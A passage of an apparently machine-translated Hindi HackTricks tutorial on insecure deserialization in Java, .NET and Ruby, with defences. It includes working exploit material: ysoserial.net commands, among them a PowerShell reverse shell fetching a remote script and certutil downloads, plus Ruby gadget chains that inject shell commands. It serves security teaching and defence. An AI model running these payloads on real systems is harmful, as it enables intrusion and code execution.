उन परिदृश्यों में जहां कुछ objects को Serializable इंटरफेस को लागू करना आवश्यक है क्योंकि वर्ग पदानुक्रम के कारण, अनजाने में deserialization का जोखिम होता है। इसे रोकने के लिए, सुनिश्चित करें कि ये objects non-deserializable हैं, एक final readObject() विधि को परिभाषित करके जो लगातार एक अपवाद फेंकती है, जैसा कि नीचे दिखाया गया है:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Java में Deserialization सुरक्षा बढ़ाना

java.io.ObjectInputStream को अनुकूलित करना deserialization प्रक्रियाओं को सुरक्षित करने के लिए एक व्यावहारिक दृष्टिकोण है। यह विधि तब उपयुक्त है जब:

  • Deserialization कोड आपके नियंत्रण में है।

  • Deserialization के लिए अपेक्षित कक्ष ज्ञात हैं।

resolveClass() विधि को ओवरराइड करें ताकि केवल अनुमत कक्षों तक deserialization सीमित हो सके। यह किसी भी कक्षा के deserialization को रोकता है सिवाय उन कक्षों के जो स्पष्ट रूप से अनुमत हैं, जैसे कि निम्नलिखित उदाहरण में जो deserialization को केवल Bicycle कक्षा तक सीमित करता है:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

सुरक्षा सुधार के लिए एक जावा एजेंट का उपयोग तब एक बैकअप समाधान प्रदान करता है जब कोड संशोधन संभव नहीं होता। यह विधि मुख्य रूप से हानिकारक कक्षाओं की ब्लैकलिस्टिंग के लिए लागू होती है, एक JVM पैरामीटर का उपयोग करते हुए:

-javaagent:name-of-agent.jar

यह गतिशील रूप से डेसिरियलाइजेशन को सुरक्षित करने का एक तरीका प्रदान करता है, जो उन वातावरणों के लिए आदर्श है जहाँ तात्कालिक कोड परिवर्तन व्यावहारिक नहीं हैं।

एक उदाहरण देखें rO0 by Contrast Security

Serialization Filters को लागू करना: Java 9 ने ObjectInputFilter इंटरफेस के माध्यम से serialization filters पेश किए, जो डेसिरियलाइजेशन से पहले serialized वस्तुओं को पूरा करने के लिए आवश्यक मानदंडों को निर्दिष्ट करने के लिए एक शक्तिशाली तंत्र प्रदान करते हैं। ये फ़िल्टर वैश्विक रूप से या प्रति स्ट्रीम लागू किए जा सकते हैं, जो डेसिरियलाइजेशन प्रक्रिया पर बारीक नियंत्रण प्रदान करते हैं।

Serialization filters का उपयोग करने के लिए, आप एक वैश्विक फ़िल्टर सेट कर सकते हैं जो सभी डेसिरियलाइजेशन संचालन पर लागू होता है या इसे विशिष्ट स्ट्रीम के लिए गतिशील रूप से कॉन्फ़िगर कर सकते हैं। उदाहरण के लिए:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

बाहरी पुस्तकालयों का उपयोग करके सुरक्षा में सुधार: पुस्तकालय जैसे NotSoSerial, jdeserialize, और Kryo जावा डेसिरियलाइजेशन को नियंत्रित और मॉनिटर करने के लिए उन्नत सुविधाएँ प्रदान करते हैं। ये पुस्तकालय अतिरिक्त सुरक्षा परतें प्रदान कर सकते हैं, जैसे कि कक्षाओं की व्हाइटलिस्टिंग या ब्लैकलिस्टिंग, डेसिरियलाइजेशन से पहले अनुक्रमित वस्तुओं का विश्लेषण करना, और कस्टम अनुक्रमण रणनीतियों को लागू करना।

  • NotSoSerial अविश्वसनीय कोड के निष्पादन को रोकने के लिए डेसिरियलाइजेशन प्रक्रियाओं को इंटरसेप्ट करता है।

  • jdeserialize अनुक्रमित जावा वस्तुओं का विश्लेषण करने की अनुमति देता है बिना उन्हें डेसिरियलाइज किए, संभावित रूप से दुर्भावनापूर्ण सामग्री की पहचान करने में मदद करता है।

  • Kryo एक वैकल्पिक अनुक्रमण ढांचा है जो गति और दक्षता पर जोर देता है, कॉन्फ़िगर करने योग्य अनुक्रमण रणनीतियाँ प्रदान करता है जो सुरक्षा को बढ़ा सकती हैं।

संदर्भ

JNDI इंजेक्शन और log4Shell

जानें कि JNDI इंजेक्शन क्या है, इसे RMI, CORBA और LDAP के माध्यम से कैसे दुरुपयोग करें और log4shell का शोषण कैसे करें (और इस कमजोरियों का उदाहरण) निम्नलिखित पृष्ठ में:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - जावा संदेश सेवा

जावा संदेश सेवा (JMS) API एक जावा संदेश-उन्मुख मध्यवर्ती API है जो दो या दो से अधिक ग्राहकों के बीच संदेश भेजने के लिए है। यह उत्पादक-उपभोक्ता समस्या को संभालने के लिए एक कार्यान्वयन है। JMS जावा प्लेटफ़ॉर्म, एंटरप्राइज संस्करण (Java EE) का एक हिस्सा है, और इसे सन माइक्रोसिस्टम्स द्वारा विकसित एक विनिर्देशन द्वारा परिभाषित किया गया था, लेकिन तब से इसे जावा समुदाय प्रक्रिया द्वारा मार्गदर्शित किया गया है। यह एक संदेश मानक है जो जावा EE पर आधारित अनुप्रयोग घटकों को संदेश बनाने, भेजने, प्राप्त करने और पढ़ने की अनुमति देता है। यह एक वितरित अनुप्रयोग के विभिन्न घटकों के बीच संचार को ढीला, विश्वसनीय और असिंक्रोनस बनाता है। (स्रोत विकिपीडिया)।

उत्पाद

इस मध्यवर्ती का उपयोग करके संदेश भेजने वाले कई उत्पाद हैं:

शोषण

तो, मूल रूप से, JMS का उपयोग करने वाली कई सेवाएँ खतरनाक तरीके से हैं। इसलिए, यदि आपके पास इन सेवाओं को संदेश भेजने के लिए पर्याप्त विशेषाधिकार हैं (आमतौर पर आपको मान्य क्रेडेंशियल की आवश्यकता होगी) तो आप दुर्भावनापूर्ण वस्तुएँ भेजने में सक्षम हो सकते हैं जो उपभोक्ता/सदस्य द्वारा डेसिरियलाइज की जाएंगी। इसका मतलब है कि इस शोषण में सभी ग्राहक जो उस संदेश का उपयोग करने जा रहे हैं संक्रमित हो जाएंगे

आपको याद रखना चाहिए कि भले ही कोई सेवा कमजोर हो (क्योंकि यह उपयोगकर्ता इनपुट को असुरक्षित रूप से डेसिरियलाइज कर रही है) आपको अभी भी कमजोरियों का शोषण करने के लिए मान्य गैजेट खोजने की आवश्यकता है।

उपकरण JMET को इन सेवाओं से कनेक्ट और हमला करने के लिए बनाया गया था, जो ज्ञात गैजेट्स का उपयोग करके कई दुर्भावनापूर्ण वस्तुएँ भेजता है। ये शोषण तब काम करेंगे जब सेवा अभी भी कमजोर हो और यदि उपयोग किए गए गैजेट में से कोई भी कमजोर अनुप्रयोग के अंदर हो।

संदर्भ

.Net

.Net के संदर्भ में, डेसिरियलाइजेशन शोषण जावा में पाए जाने वाले तरीकों के समान काम करते हैं, जहाँ गैजेट्स का उपयोग विशेष कोड को चलाने के लिए किया जाता है जब किसी वस्तु का डेसिरियलाइजेशन होता है।

फिंगरप्रिंट

व्हाइटबॉक्स

स्रोत कोड की जांच की जानी चाहिए कि:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

ध्यान उन अनुक्रमकों पर होना चाहिए जो उपयोगकर्ता नियंत्रण के तहत एक चर द्वारा प्रकार को निर्धारित करने की अनुमति देते हैं।

ब्लैकबॉक्स

खोज को बेस64 एन्कोडेड स्ट्रिंग AAEAAAD///// या किसी समान पैटर्न पर लक्षित करना चाहिए जो सर्वर-साइड पर डेसिरियलाइज हो सकता है, जिससे डेसिरियलाइज होने वाले प्रकार पर नियंत्रण प्राप्त होता है। इसमें शामिल हो सकता है, लेकिन सीमित नहीं है, JSON या XML संरचनाएँ जिनमें TypeObject या $type शामिल हैं।

ysoserial.net

इस मामले में आप उपकरण ysoserial.net का उपयोग कर सकते हैं ताकि डेसिरियलाइजेशन शोषण बनाएँ। एक बार जब आप git रिपॉजिटरी डाउनलोड कर लें तो आपको उपकरण को संकलित करना चाहिए, उदाहरण के लिए, Visual Studio का उपयोग करके।

यदि आप जानना चाहते हैं कि ysoserial.net अपना शोषण कैसे बनाता है तो आप इस पृष्ठ की जांच कर सकते हैं जहाँ ObjectDataProvider गैजेट + ExpandedWrapper + Json.Net फॉर्मेटर समझाया गया है

ysoserial.net के मुख्य विकल्प हैं: --gadget, --formatter, --output और --plugin

  • --gadget का उपयोग उस गैजेट को इंगित करने के लिए किया जाता है जिसका दुरुपयोग किया जाएगा (उस कक्षा/कार्य को इंगित करें जिसका दुरुपयोग डेसिरियलाइजेशन के दौरान आदेश निष्पादित करने के लिए किया जाएगा)।

  • --formatter, शोषण को अनुक्रमित करने के लिए विधि को इंगित करने के लिए उपयोग किया जाता है (आपको यह जानना होगा कि बैक-एंड किस पुस्तकालय का उपयोग कर रहा है ताकि लोड को डेसिरियलाइज किया जा सके और इसे अनुक्रमित करने के लिए उसी का उपयोग करें)

  • --output का उपयोग यह इंगित करने के लिए किया जाता है कि क्या आप शोषण को कच्चे या बेस64 एन्कोडेड रूप में चाहते हैं। ध्यान दें कि ysoserial.net लोड को UTF-16LE का उपयोग करके एन्कोड करेगा (जो डिफ़ॉल्ट रूप से Windows पर उपयोग किया जाता है) इसलिए यदि आप कच्चा लोड प्राप्त करते हैं और इसे लिनक्स कंसोल से केवल एन्कोड करते हैं तो आपको कुछ एन्कोडिंग संगतता समस्याएँ हो सकती हैं जो शोषण को सही तरीके से काम करने से रोक सकती हैं (HTB JSON बॉक्स में लोड UTF-16LE और ASCII दोनों में काम करता है लेकिन इसका मतलब यह नहीं है कि यह हमेशा काम करेगा)।

  • --plugin ysoserial.net विशिष्ट ढांचों के लिए शोषण बनाने के लिए प्लगइन्स का समर्थन करता है जैसे ViewState

अधिक ysoserial.net पैरामीटर

  • --minify एक छोटा लोड प्रदान करेगा (यदि संभव हो)

  • --raf -f Json.Net -c "anything" यह सभी गैजेट्स को इंगित करेगा जो एक प्रदान किए गए फॉर्मेटर (Json.Net इस मामले में) के साथ उपयोग किए जा सकते हैं

  • --sf xml आप एक गैजेट (-g) इंगित कर सकते हैं और ysoserial.net "xml" (केस संवेदनशील नहीं) वाले फॉर्मेटर्स की खोज करेगा

ysoserial उदाहरण शोषण बनाने के लिए:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net में एक बहुत दिलचस्प पैरामीटर है जो हर एक्सप्लॉइट के काम करने के तरीके को बेहतर समझने में मदद करता है: --test यदि आप इस पैरामीटर को इंगित करते हैं, तो ysoserial.net स्थानीय रूप से एक्सप्लॉइट करने की कोशिश करेगा, ताकि आप यह परीक्षण कर सकें कि आपका पेलोड सही तरीके से काम करेगा या नहीं। यह पैरामीटर सहायक है क्योंकि यदि आप कोड की समीक्षा करते हैं, तो आप निम्नलिखित कोड के टुकड़े पाएंगे (से ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

इसका मतलब है कि एक्सप्लॉइट का परीक्षण करने के लिए कोड serializersHelper.JsonNet_deserialize को कॉल करेगा।

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In the पिछले कोड में बनाए गए हमले के लिए संवेदनशीलता है। इसलिए यदि आप किसी .Net एप्लिकेशन में कुछ समान पाते हैं, तो इसका मतलब है कि वह एप्लिकेशन भी संभवतः संवेदनशील है। इसलिए --test पैरामीटर हमें यह समझने की अनुमति देता है कि कौन से कोड के टुकड़े deserialization हमले के लिए ysoserial.net द्वारा बनाए जा सकते हैं।

ViewState

कैसे .Net के __ViewState पैरामीटर का शोषण करने की कोशिश करें को देखें ताकि मनमाने कोड को निष्पादित किया जा सके। यदि आप पहले से ही पीड़ित मशीन द्वारा उपयोग किए गए रहस्यों को जानते हैं, कोड निष्पादित करने के लिए यह पोस्ट पढ़ें

Prevention

.Net में deserialization से संबंधित जोखिमों को कम करने के लिए:

  • डेटा स्ट्रीम को उनके ऑब्जेक्ट प्रकारों को परिभाषित करने की अनुमति देने से बचें। जब संभव हो, DataContractSerializer या XmlSerializer का उपयोग करें।

  • JSON.Net के लिए, TypeNameHandling को None पर सेट करें: %%%TypeNameHandling = TypeNameHandling.None%%%

  • JavaScriptSerializer का उपयोग JavaScriptTypeResolver के साथ करने से बचें।

  • उन प्रकारों की सीमा निर्धारित करें जिन्हें deserialized किया जा सकता है, .Net प्रकारों के साथ अंतर्निहित जोखिमों को समझते हुए, जैसे System.IO.FileInfo, जो सर्वर फ़ाइलों की विशेषताओं को संशोधित कर सकता है, जिससे सेवा से इनकार के हमलों की संभावना हो सकती है।

  • खतरनाक गुणों वाले प्रकारों के साथ सतर्क रहें, जैसे System.ComponentModel.DataAnnotations.ValidationException इसके Value गुण के साथ, जिसका शोषण किया जा सकता है।

  • प्रकार के निर्माण को सुरक्षित रूप से नियंत्रित करें ताकि हमलावर deserialization प्रक्रिया को प्रभावित न कर सकें, जिससे DataContractSerializer या XmlSerializer भी संवेदनशील हो जाएं।

  • BinaryFormatter और JSON.Net के लिए एक कस्टम SerializationBinder का उपयोग करके श्वेत सूची नियंत्रण लागू करें।

  • .Net में ज्ञात असुरक्षित deserialization गैजेट्स के बारे में सूचित रहें और सुनिश्चित करें कि deserializers ऐसे प्रकारों का निर्माण न करें।

  • संभावित खतरनाक कोड को इंटरनेट एक्सेस वाले कोड से अलग करें ताकि ज्ञात गैजेट्स, जैसे WPF एप्लिकेशनों में System.Windows.Data.ObjectDataProvider, को अविश्वसनीय डेटा स्रोतों के लिए उजागर करने से बचा जा सके।

References

Ruby

Ruby में, serialization marshal पुस्तकालय के भीतर दो विधियों द्वारा सुगम बनाया गया है। पहली विधि, जिसे dump के रूप में जाना जाता है, का उपयोग एक ऑब्जेक्ट को बाइट स्ट्रीम में परिवर्तित करने के लिए किया जाता है। इस प्रक्रिया को serialization कहा जाता है। इसके विपरीत, दूसरी विधि, load, का उपयोग बाइट स्ट्रीम को वापस एक ऑब्जेक्ट में परिवर्तित करने के लिए किया जाता है, जिसे deserialization कहा जाता है।

Serialized ऑब्जेक्ट्स को सुरक्षित करने के लिए, Ruby HMAC (Hash-Based Message Authentication Code) का उपयोग करता है, जो डेटा की अखंडता और प्रामाणिकता सुनिश्चित करता है। इस उद्देश्य के लिए उपयोग की जाने वाली कुंजी कई संभावित स्थानों में से एक में संग्रहीत होती है:

  • config/environment.rb

  • config/initializers/secret_token.rb

  • config/secrets.yml

  • /proc/self/environ

Ruby 2.X सामान्य deserialization से RCE गैजेट श्रृंखला (अधिक जानकारी के लिए https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Other RCE chain to exploit Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() विधि

जैसा कि इस सुरक्षा रिपोर्ट में समझाया गया है, यदि कुछ उपयोगकर्ता का असंसाधित इनपुट एक रूबी ऑब्जेक्ट की .send() विधि तक पहुँचता है, तो यह विधि ऑब्जेक्ट के किसी भी अन्य विधि को किसी भी पैरामीटर के साथ आमंत्रित करने की अनुमति देती है।

उदाहरण के लिए, eval को कॉल करना और फिर रूबी कोड को दूसरे पैरामीटर के रूप में देना मनमाने कोड को निष्पादित करने की अनुमति देगा:

<Object>.send('eval', '<user input with Ruby code>') == RCE

इसके अलावा, यदि केवल एक पैरामीटर .send() का एक हमलावर द्वारा नियंत्रित किया जाता है, जैसा कि पिछले लेख में उल्लेख किया गया है, तो किसी भी ऐसे ऑब्जेक्ट के मेथड को कॉल करना संभव है जिसे आर्गुमेंट्स की आवश्यकता नहीं है या जिनके आर्गुमेंट्स के डिफ़ॉल्ट मान हैं। इसके लिए, ऑब्जेक्ट के सभी मेथड्स को उन आवश्यकताओं को पूरा करने वाले कुछ दिलचस्प मेथड्स खोजने के लिए एन्यूमरेट करना संभव है

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

अन्य पुस्तकालय

यह तकनीक इस ब्लॉग पोस्ट से ली गई थी।

अन्य Ruby पुस्तकालय हैं जिन्हें ऑब्जेक्ट्स को सीरियलाइज़ करने के लिए उपयोग किया जा सकता है और इसलिए इसका दुरुपयोग करके असुरक्षित डेसिरियलाइजेशन के दौरान RCE प्राप्त किया जा सकता है। निम्नलिखित तालिका इनमें से कुछ पुस्तकालयों और उन विधियों को दिखाती है जिन्हें लोड की गई पुस्तकालय के अनसीरियलाइज होने पर कॉल किया जाता है (RCE प्राप्त करने के लिए दुरुपयोग करने के लिए मूल रूप से कार्य):

पुस्तकालय

इनपुट डेटा

क्लास के अंदर किक-ऑफ विधि

Marshal (Ruby)

बाइनरी

_load

Oj

JSON

hash (क्लास को हैश (मैप) में कुंजी के रूप में डालना आवश्यक है)

Ox

XML

hash (क्लास को हैश (मैप) में कुंजी के रूप में डालना आवश्यक है)

Psych (Ruby)

YAML

hash (क्लास को हैश (मैप) में कुंजी के रूप में डालना आवश्यक है) init_with

JSON (Ruby)

JSON

json_create ([json_create के बारे में नोट्स देखें अंत में](#table-vulnerable-sinks))

बुनियादी उदाहरण:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Oj का दुरुपयोग करने की कोशिश के मामले में, एक गैजेट क्लास मिलना संभव था जो अपने hash फ़ंक्शन के अंदर to_s को कॉल करेगा, जो spec को कॉल करेगा, जो fetch_path को कॉल करेगा, जिससे इसे एक यादृच्छिक URL लाने के लिए बनाया जा सकता था, जो इन प्रकार की अस्वच्छ deserialization कमजोरियों का एक बड़ा डिटेक्टर प्रदान करता है।

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
}

इसके अलावा, यह पाया गया कि पिछले तकनीक के साथ एक फ़ोल्डर भी सिस्टम में बनाया जाता है, जो एक अन्य गैजेट का दुरुपयोग करने की आवश्यकता है ताकि इसे कुछ इस तरह से पूर्ण RCE में परिवर्तित किया जा सके:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Check for more details in the original post.

Support HackTricks

Last updated